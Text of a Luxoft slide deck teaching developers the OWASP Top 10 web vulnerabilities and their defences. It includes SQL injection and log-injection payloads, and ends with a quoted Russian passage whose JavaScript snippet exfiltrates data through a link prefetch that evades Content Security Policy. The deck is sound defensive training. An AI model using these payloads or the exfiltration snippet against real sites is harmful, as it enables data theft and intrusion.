2. www.luxoft.com
Motivation
● “Рассказ о том, как я ворую номера кредиток и пароли у посетителей ваших
сайтов” (source)
● Several security audits
○ Burp suite
○ SQLMAP
● Penetration testers
3. www.luxoft.com
Goal
● Сomplicate hacking of application as much as possible
○ System can be compromised any time, even when you are logged in
○ You don’t know vulnerabilities until they are fired
○ Even worldwide systems regularly compromised (Apple, Tesla, ...)
4. www.luxoft.com
What is OWASP
Non-profit organization, project that began as an
enthusiast's idea, and became the most
authoritative source for classifying attack vectors
and vulnerabilities in web applications.
5. www.luxoft.com
OWASP Top 10
1. Injection
2. Broken Authentication
3. Sensitive Data Exposure
4. External Entities (XXE)
5. Broken Access Control
6. Security Misconfiguration
7. Cross-Site Scripting (XSS)
8. Insecure Deserialization
9. Using Components with Known Vulnerabilities
10. Insufficient Logging & Monitoring
6. www.luxoft.com
1. Injection
1. # SQL query vulnerable to SQL Injection
sql = “SELECT id FROM users WHERE username=’” + username + “’ AND password=’” + password +
“’”
1. # Injection
password' OR 1=1
1. # Modified query
SELECT id FROM users WHERE username='username' AND password='password' OR 1=1
7. www.luxoft.com
1. Injection
1. # SQL query vulnerable to UNION SQL Injection
sql = “SELECT email, first_name FROM users WHERE id = ” + id
1. # Injection
1 UNION SELECT email, password FROM users
1 UNION SELECT 1,1,1 FROM all_tables
1 UNION SELECT 1,1,1 FROM information_schema.tables
1. # Modified query
SELECT email, first_name FROM users WHERE id = 1 UNION SELECT email, password FROM users
9. www.luxoft.com
1. Injection: How to Prevent
Primary Defenses:
● Use of Prepared Statements (with Parameterized Queries)
● Use of Stored Procedures
● Whitelist Input Validation
● Escaping All User Supplied Input
Additional Defenses:
● Enforcing Least Privilege to application DB account
● Performing Whitelist Input Validation as a Secondary Defense
10. www.luxoft.com
2. Broken Authentication: How to Prevent
● Multi-factor authentication.
● No default credentials, particularly for admin users.
● Weak-password checks, such as testing against top 10000 worst passwords.
● Align password length, complexity and rotation policies with NIST 800-63 B's
guidelines in section 5.1.1 for Memorized Secrets or other modern, evidence based
password policies.
11. www.luxoft.com
Authentication: Password strength
1. Password must meet at least 3 out of the following 4 complexity rules
a. at least 1 uppercase character (A-Z)
b. at least 1 lowercase character (a-z)
c. at least 1 digit (0-9)
d. at least 1 special character (punctuation) — treat space as special characters
too
e. No dictionary words, no names or close words
2. at least 10 characters
3. at most 128 characters
4. not more than 2 identical characters in a row (e.g., 111 not allowed)
5. password should be changed every 90 days??
6. last 10 passwords may not be reused
13. www.luxoft.com
2. Broken Authentication: How to Prevent
● Use same messages for all login errors
"Login for User foo: invalid password"
"Login failed, invalid user ID"
"Login failed; account disabled"
"Login failed; this user is not active"
"Login failed; Invalid userID or password"
14. www.luxoft.com
2. Broken Authentication: How to Prevent
● Limit or increasingly delay failed login attempts. Log all failures and alert
administrators when credential stuffing, brute force, or other attacks are detected.
● Use a server-side, secure, built-in session manager that generates a new
randomsession ID with high entropy after login. Session IDs should not be in the
URL, be securely stored and invalidated after logout, idle, and absolute timeouts.
15. www.luxoft.com
3. Sensitive Data Exposure: How to Prevent
1. Do not log it (including stacktraces)
2. Encrypt all data, also in transit with secure protocols such as TLS (HSTS)
3. Store passwords using strong adaptive and salted hashing functions with a work factor (delay factor),
such as:
a. Argon2- OWASP recommended
b. PBKDF2 - when FIPS certification or enterprise support on many platforms is required
i. FIPS (Federal Information Processing Standard) - U.S. government computer security
standard used to approve cryptographic modules.
c. Scrypt - when resisting any/all hardware accelerated attacks is necessary but support isn’t
d. Bcrypt - where PBKDF2 or Scrypt support is not available.
e. Cryptographically strong credential-specific salt
i. return [salt] + pbkdf2([salt], [credential], c=[iteration_count]);
f. Work factor (delay factor) - run protect() as slow as possible without affecting the users.
22. www.luxoft.com
4. External Entities (XXE)
1. Untrusted XML input containing a reference to an external entity is processed by a
weakly configured XML parser
a. XML Security Cheat Sheet
b. XML External Entity Prevention Cheat Sheet
23. www.luxoft.com
5. Broken Access Control: How to Prevent
Access Control / Authorization - grant or deny access to particular resource.
1. Deny by default, except public resources
2. Send all requests through the access control system
3. Minimum privileges principle
4. Avoid hardcoded roles
5. Log everything
6. Use Access Control Policy:
a. Role Based Access Control (RBAC);
b. Permission Based Access Control (PBAC / ABAC);
c. Discretionary Access Control (DAC);
d. Mandatory Access Control (MAC).
24. www.luxoft.com
6. Security Misconfiguration
● Remove default accounts, unused pages, unprotected files and
directories
● Remove or do not install unused features and frameworks
● Error handling hides stack traces
● Software and dependencies should be up-to-date
● Latest security features should be enabled and configured securely
● Minimum privileges principle
27. www.luxoft.com
7. Cross-Site Scripting (XSS)
XSS methods:
● Session hijacking
● Form data theft
● DDoS-attack
● CSRF/XSRF
● Social networks XSS-worms
● Google Analytics and counters
28. www.luxoft.com
7. Cross-Site Scripting (XSS): How to Prevent
● Using frameworks that automatically escape XSS by design, such as the latest Ruby
on Rails, React JS. Learn the limitations of each framework's XSS protection and
appropriately handle the use cases which are not covered (XSS is React)
○ Don’t ever use eval() or dangerouslySetInnerHTML
○ Avoid parsing user-supplied JSON.
● Validate Before Inserting Untrusted Data into HTML (+ escaping)
● Use HTTPOnly cookie flag - JS code cannot read cookie value.
● Enabling a Content Security Policy (CSP)
○ Content-Security-Policy: default-src: 'self'; script-src: 'self' static.domain;
frame-ancestors 'none'
○ More powerful than X-Frame-Options.
31. www.luxoft.com
1. HTTPS
2. Use client fingerprint
3. Terminate session if fingerprint changed (+ logging + notification)
4. Additional
a. Logout button should be available
b. Renew session ID after any privilege level change
c. Automatic session expiration, both on client idle time and absolute timeout
d. Force session logout on web browser window close events
e. Alert and deauthorize old session ID if simultaneous logins are detected
f. Alert and deauthorize old session ID if user is deactivated
g. Disable web browser cross-tab sessions
h. Protect session ID cookie with flags: HttpOnly + Secure + SameSite + cookie
prefixes
i. Log any authentication/authorization actions
Session hijacking: How to Prevent
32. www.luxoft.com
Log Injection
Attacker may be able to insert false entries into the log
String val = request.getParameter("val");
try {
int value = Integer.parseInt(val);
}
catch (NumberFormatException) {
log.info("Failed to parse val = " + val);
}
● val = "twenty-one"
INFO: Failed to parse val=twenty-one
● val = "twenty-one%0a%0aINFO:+User+logged+out%3dbadguy"
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
33. www.luxoft.com
8. Insecure Deserialization
1. Attacker modifies application logic or achieves arbitrary remote code execution
2. Existing data structures are used but the content is changed
34. www.luxoft.com
9. Using Components with Known Vulnerabilities
1. Use libraries and frameworks from trusted sources that actively developed and
widely used in applications
a. maintain catalog of third-party libraries;
b. timely update libraries and components.
2. Use automatic dependencies check tools such as
a. OWASP Dependency Check
b. Retire.JS
35. www.luxoft.com
10. Insufficient Logging & Monitoring
1. All login, access control failures, and server-side input validation failures should be
logged
2. Logs should be gathered using centralized log management solutions
3. High-value transactions should have an audit trail
4. Effective monitoring and alerting such that suspicious activities
36. www.luxoft.com
Cross-Site Request Forgery (CSRF)
CSRF - Web application can not verify whether a well-formed, valid, consistent request
was intentionally provided by the user who submitted the request.
Malicious site instructs a victim's browser to send a request to an honest site, as if the
request were part of the victim's interaction with the honest site.
38. www.luxoft.com
Cross-Site Request Forgery (CSRF)
An active exploit of CSRF against residential ADSL routers in Mexico in early 2008
An e-mail with a malicious IMG tag was sent to victims. By accessing the image in the
mail, the user initiated a router command to change the DNS entry of a leading Mexican
bank, making any subsequent access by a user to the bank go through the attacker's
server.
39. www.luxoft.com
Cross-Site Request Forgery (CSRF): How to Prevent
1. Token Based Mitigation
a. Synchronizer Token Pattern (server-side)
b. Encryption based Token Pattern (client side)
c. HMAC Based Token Pattern (client side)
2. Origin/Referer header (server-side)
3. Custom Request Headers
40. www.luxoft.com
Cross-Site Request Forgery (CSRF)
- Do I need CSRF token if I'm using Bearer JWT?
- No, if token is not sent in cookies
If submitting Token via XHR as an Authorization header, then no the extra X-XSRF-Token
header will not add "extra" security.
44. www.luxoft.com
JWT attacks
1. Token sidejacking
a. Add fingerprint information to the token.
i. Random string to be included into the token to hardened cookie that is
received from server (flags: HttpOnly + Secure + SameSite + cookie
prefixes).
ii. A SHA256 hash of the random string will be stored in the token.
iii. Do not use IP-addresses, which can change on mobile devices, etc
2. Token explicit revocation by the user
a. Use JWT library with token blacklisting
45. www.luxoft.com
JWT attacks
3. Incorrect Token storage on client side
a. Do not store token in cookies and localStorage
i. Cookies are vulnerable to CSRF
ii. LocalStorage is vulnerable to XSS.
b. Store the token in browser sessionStorage.
c. Add it as a Authorization Bearer HTTP header.
i. Authorization: Bearer <token>
d. Add fingerprint information to the token.
4. Token weak secret
a. Use more than 50 symbols secret
i. A&'/}Z57M(2hNg=;LE?~]YtRMS5(yZ<vcZTA3N-($>2j:ZeX-
BGftaVk`)jKP~q?,jk)EMbgt*kW'
47. www.luxoft.com
Clickjacking: How to Prevent
1. Content Security Policy (CSP)
2. X-Frame-Options: deny
3. Defensive code in the UI to ensure that the current frame is the most
top level window
51. www.luxoft.com
How to defend
1. Processes:
a. Secure development lifecycle (SDL, developed by Microsoft)
b. Product security team / penetration testers
c. Team trainings + external (IOActive advisory services)
d. Static code analysis (Tools and Software)
e. Crowdfunding / Rewards Program
2. External security audits
53. www.luxoft.com
Links
1. Чем искать уязвимости веб-приложений: сравниваем восемь популярных
сканеров
2. Как провести тестирование на безопасность: руководство для Manual QA
Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.
Many web applications and APIs do not properly protect sensitive data, such as financial, healthcare, and PII. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data may be compromised without extra protection, such as encryption at rest or in transit, and requires special precautions when exchanged with the browser.
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Password_Storage_Cheat_Sheet.md
Ох, вот уж неожиданность. А кто-нибудь сказал вам, что политика защиты контента (Content Security Policy, CSP) не даст вредоносному коду отправлять данные на какой-нибудь хитрый домен? Мне не нравится играть роль того, кто приносит плохие новости, но следующие четыре строки кода проскочат мимо даже самой жёсткой CSP:
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);